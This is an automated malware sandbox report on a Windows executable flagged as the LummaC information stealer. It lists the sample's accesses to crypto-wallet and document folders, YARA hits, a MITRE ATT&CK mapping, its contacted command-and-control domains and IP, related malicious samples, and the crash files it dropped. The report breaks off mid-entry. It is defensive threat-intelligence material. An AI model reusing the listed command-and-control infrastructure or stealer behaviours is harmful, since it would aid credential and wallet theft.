Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\asbpKOngY0.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior

Source: Yara match

File source: Process Memory Space: asbpKOngY0.exe PID: 4040, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: asbpKOngY0.exe PID: 4040, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	11 Virtualization/Sandbox Evasion	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	31 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
asbpKOngY0.exe	29%	ReversingLabs
asbpKOngY0.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	URL Reputation	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.microsof	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
strollheavengwu.shop	172.67.163.209	true	true		unknown

Contacted URLs

Name	Malicious	Reputation
incredibleextedwj.shop	true	unknown
shortsvelventysjo.shop	true	unknown
tolerateilusidjukl.shop	true	unknown
liabilitynighstjsko.shop	true	unknown
https://strollheavengwu.shop/api	false	unknown
shatterbreathepsw.shop	true	unknown
demonstationfukewko.shop	true	unknown
productivelookewr.shop	true	unknown
strollheavengwu.shop	true	unknown
alcojoldwograpciw.shop	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	asbpKOngY0.exe, 00000000.00000003.1687959423.000000000544A000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1687828960.000000000545F000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1688037142.000000000544A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	asbpKOngY0.exe, 00000000.00000003.1687959423.000000000544A000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1687828960.000000000545F000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1688037142.000000000544A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	asbpKOngY0.exe, 00000000.00000003.1733514139.0000000002DFB000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1714612202.0000000002DF8000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1756890685.0000000002DFB000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1756771426.0000000002DE5000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000002.1889983989.0000000002DFC000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1723937416.0000000002DFB000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1715709456.0000000002DFC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	asbpKOngY0.exe, 00000000.00000003.1687959423.000000000544A000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1687828960.000000000545F000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1688037142.000000000544A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	asbpKOngY0.exe, 00000000.00000003.1714612202.0000000002DF8000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1723937416.0000000002DFB000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1715709456.0000000002DFC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	asbpKOngY0.exe, 00000000.00000003.1687959423.000000000544A000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1687828960.000000000545F000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1688037142.000000000544A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	asbpKOngY0.exe, 00000000.00000003.1704916432.0000000005444000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	asbpKOngY0.exe, 00000000.00000003.1714612202.0000000002DF8000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1723937416.0000000002DFB000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1715709456.0000000002DFC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.3.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	asbpKOngY0.exe, 00000000.00000003.1687959423.000000000544A000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1687828960.000000000545F000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1688037142.000000000544A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	asbpKOngY0.exe, 00000000.00000003.1704916432.0000000005444000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	asbpKOngY0.exe, 00000000.00000003.1687374522.000000000548C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	asbpKOngY0.exe, 00000000.00000003.1687374522.000000000548C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	asbpKOngY0.exe, 00000000.00000003.1687959423.000000000544A000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1687828960.000000000545F000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1688037142.000000000544A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	asbpKOngY0.exe, 00000000.00000003.1705903522.0000000005553000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	asbpKOngY0.exe, 00000000.00000003.1687959423.000000000544A000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1687828960.000000000545F000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1688037142.000000000544A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/apisE	asbpKOngY0.exe, 00000000.00000003.1756771426.0000000002DE5000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000002.1889873462.0000000002DE9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://strollheavengwu.shop/apir	asbpKOngY0.exe, 00000000.00000003.1756771426.0000000002DE5000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000002.1889873462.0000000002DE9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	asbpKOngY0.exe, 00000000.00000003.1714612202.0000000002DF8000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1723937416.0000000002DFB000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1715709456.0000000002DFC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	asbpKOngY0.exe, 00000000.00000003.1715709456.0000000002DFC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	asbpKOngY0.exe, 00000000.00000003.1704916432.0000000005444000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	asbpKOngY0.exe, 00000000.00000003.1704916432.0000000005444000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	asbpKOngY0.exe, 00000000.00000003.1687959423.000000000544A000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1687828960.000000000545F000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1688037142.000000000544A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	asbpKOngY0.exe, 00000000.00000003.1687374522.000000000548E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	asbpKOngY0.exe, 00000000.00000003.1704916432.0000000005444000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://strollheavengwu.shop/api7bu	asbpKOngY0.exe, 00000000.00000003.1756771426.0000000002DE5000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000002.1889873462.0000000002DE9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://strollheavengwu.shop/apiC	asbpKOngY0.exe, 00000000.00000003.1756771426.0000000002DE5000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000002.1889873462.0000000002DE9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	asbpKOngY0.exe, 00000000.00000003.1705903522.0000000005553000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	asbpKOngY0.exe, 00000000.00000003.1687959423.000000000544A000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1687828960.000000000545F000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1688037142.000000000544A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	asbpKOngY0.exe, 00000000.00000003.1714612202.0000000002DF8000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1723937416.0000000002DFB000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1715709456.0000000002DFC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/	asbpKOngY0.exe, 00000000.00000003.1756771426.0000000002DE5000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000002.1889873462.0000000002DE9000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000002.1889739851.0000000002DB7000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.163.209	strollheavengwu.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1429918
Start date and time:	2024-04-22 21:43:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	asbpKOngY0.exe renamed because original name is a hash value
Original Sample Name:	ecd47621cce65ec0aee0e8599a308a3b.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/5@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 93% Number of executed functions: 38 Number of non-executed functions: 100
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.22
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: asbpKOngY0.exe

Simulations

Behavior and APIs

Time	Type	Description
21:43:58	API Interceptor	8x Sleep call for process: asbpKOngY0.exe modified
21:44:19	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.163.209	file.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
strollheavengwu.shop	2FjvjcayaH.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	qrLdMv1QXG.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	file.exe	Get hash	malicious	LummaC	Browse	172.67.163.209
	LwnI84BBtb.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.198

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	162.159.133.233
	https://secure.rightsignature.com/signers/72685de1-0891-4676-ba51-0639e8aac386/sign?identity_token=e9BkbAE3-a65UvyeRkxL	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://www.canva.com/design/DAGDJh2_984/U9egfHTa_NllUF_zDQk0NA/view?utm_content=DAGDJh2_984&utm_campaign=designshare&utm_medium=link&utm_source=editor/	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://cloudflare-ipfs.com/ipfs/bafybeiagiq7tdzbkrrgr6pdgcm3qpbokwry3qqk2gedyazwwolhwfy4suy/nodex.html#	Get hash	malicious	Unknown	Browse	104.17.64.14
	payment swift.xls	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.206.230
	FINAL CMR.-Transportauftrag Nachlauf new.exe	Get hash	malicious	GuLoader, Remcos	Browse	104.21.60.38
	CE1KVxYp5t.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	Ve6VeFSgkz.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	https://in.xero.com/m/g4EjeZDud5lCeLiKvMaATTgixUJedYwIXI96osSo?utm_source=invoiceEmailViewInvoiceButton&utm_campaign=invoicesEmailStandardV2	Get hash	malicious	Unknown	Browse	162.247.243.29
	m2 Cotizaci#U00f3n-1634.pdf.exe	Get hash	malicious	FormBook	Browse	104.21.56.247

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	VdwJB2cS5l.exe	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.163.209
	https://www.epa.gov/climateleadership/simplified-ghg-emissions-calculator	Get hash	malicious	Unknown	Browse	172.67.163.209
	SecuriteInfo.com.Win32.RATX-gen.9491.24773.exe	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.163.209
	https://mota-engil.caf0sa.com/tiyamike.chikabadwa56078874fessdGl5YW1pa2UuY2hpa2FiYWR3YUBtb3RhLWVuZ2lsLnB097140964?5101245168264822=2215800694735574#dGl5YW1pa2UuY2hpa2FiYWR3YUBtb3RhLWVuZ2lsLnB0	Get hash	malicious	Unknown	Browse	172.67.163.209
	Purchase order.exe	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.163.209
	Quotation 20242204.exe	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.163.209
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	172.67.163.209
	launcher.exe	Get hash	malicious	LummaC	Browse	172.67.163.209
	ygm2mXUReY.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.163.209
	file.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.163.209

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_asbpKOngY0.exe_2caf974d11786772f56eeade9062141c51f1e48_347c9851_fbf69d2b-2a12-4891-bf94-e897ad82cb62\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9925541180212553
Encrypted:	false
SSDEEP:	192:MbW2zPAC08ga28GjxpFPzuiFCZ24IO8X:4W2zPAJ8128GjNzuiFCY4IO8X
MD5:	C24B064B163C4CFA0AF60F7394D71EB2
SHA1:	CCB8D9EA37BB41235BABE13476A414259C850F29
SHA-256:	C5ACE603DA20F835836BD88D2E0D2334B318B0E4BCC176159047A1AA772DC418
SHA-512:	9F963D8247F37685CA4C3B55113DCFE4A9662CD4CA2E225BB6264C18A95A557895FE4142993D4E83BB8967EEF7C3E5303E6AAE1E37A90529EAD60FEBFBD79721
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.2.8.8.6.4.7.7.0.4.4.2.3.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.2.8.8.6.4.8.3.7.6.2.7.9.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.b.f.6.9.d.2.b.-.2.a.1.2.-.4.8.9.1.-.b.f.9.4.-.e.8.9.7.a.d.8.2.c.b.6.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.d.3.9.2.3.0.a.-.9.d.7.f.-.4.b.3.d.-.8.3.8.8.-.3.8.4.1.2.1.a.d.e.0.0.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.a.s.b.p.K.O.n.g.Y.0...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.f.c.8.-.0.0.0.1.-.0.0.1.4.-.c.d.8.a.-.f.f.6.8.e.d.9.4.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.7.2.7.1.3.f.b.c.9.e.5.b.b.8.0.8.f.1.4.1.5.4.d.3.a.7.6.b.e.1.8.0.0.0.0.f.f.f.f.!.0.0.0.0.9.6.3.e.e.c.3.9.3.2.f.e.f.3.4.9.e.b.0.b.c.5.7.6.6.9.2.b.f.8.6.c.2.3.1.f.0.b.e.1.!.a.s.b.p.K.O.n.g.Y.0...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7C35.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Apr 22 19:44:08 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	47222
Entropy (8bit):	2.6823548341771177
Encrypted:	false
SSDEEP:	192:5ETXXl0tRvyY8S3xvOzBz6u5d7wnqFyy6jZUDgurWKtiq36Yhhh:wwvb8OxmzBGA716jiguawX64h
MD5:	7CDA1E6FDC7C44FD4D8FE7AC3BAC25EB
SHA1:	F85E15ED8782B46021F8490DB14AA247F253CF03
SHA-256:	3C5559D525FCC990F4D738F6A8E0FB19ACABFBA49CC59513928B1BDB2564952C
SHA-512:	19D42FA1381B05EB8F626765BC66F0FFE114DE5DCE3F8A76D454FE8516E37BB30D98CD28295D72066FA7C59175EC5D8BB7D7BF7381DF2F59130FE82951DE7A38
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........&f............4...............H........................1..........`.......8...........T............=...z..........x ..........d"..............................................................................eJ......."......GenuineIntel............T.............&f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7DEB.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8334
Entropy (8bit):	3.6993054899160565
Encrypted:	false
SSDEEP:	192:R6l7wVeJF661E6Y9bSUTpPgmflfLcpDT89b6ysfkem:R6lXJo626YRSUTBgmflTF6xfE
MD5:	BF26CEA156E0AAD8EDFF60220F62701A
SHA1:	82BFDDF9CF0206D98A2061F3C1F84974C9B73112
SHA-256:	AB18A925588D1A3945EB8E56A6ADAF9686324ECB413844A5EF83AE77C34CDFFC
SHA-512:	198AB0E00EDC0F4EF1448CE61198F6F8414B8DED1469186A02BB6407F62216A9640833964AE52B3E56FD6F1A65A1E6977A6A273349E125503DD52FBC5323A9C8
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.0.4.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7E2B.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.456920435435191
Encrypted:	false
SSDEEP:	48:cvIwWl8zsRJg77aI9k3WpW8VYfYm8M4JZ7FbwE+q8e5690f2d:uIjfjI7WG7VbJMEB690f2d
MD5:	AED40D43850BBDDCEB141A622260732F
SHA1:	A21CF1673800440F2120F69F5FBE2B69FCC31A64
SHA-256:	9DCE9DC06B5FEB9F6F279AD588C7C1A340719C58D0D079C7F011E019BCA6526F
SHA-512:	10B27ADFB53E3472FC412963BDF4FD82E4317D371333170A64B28638E21328AD502C2036BB459307E1DA21F3C30DE3B53990EFC2E31131458E424BA802278B57
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="291526" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465438821663042
Encrypted:	false
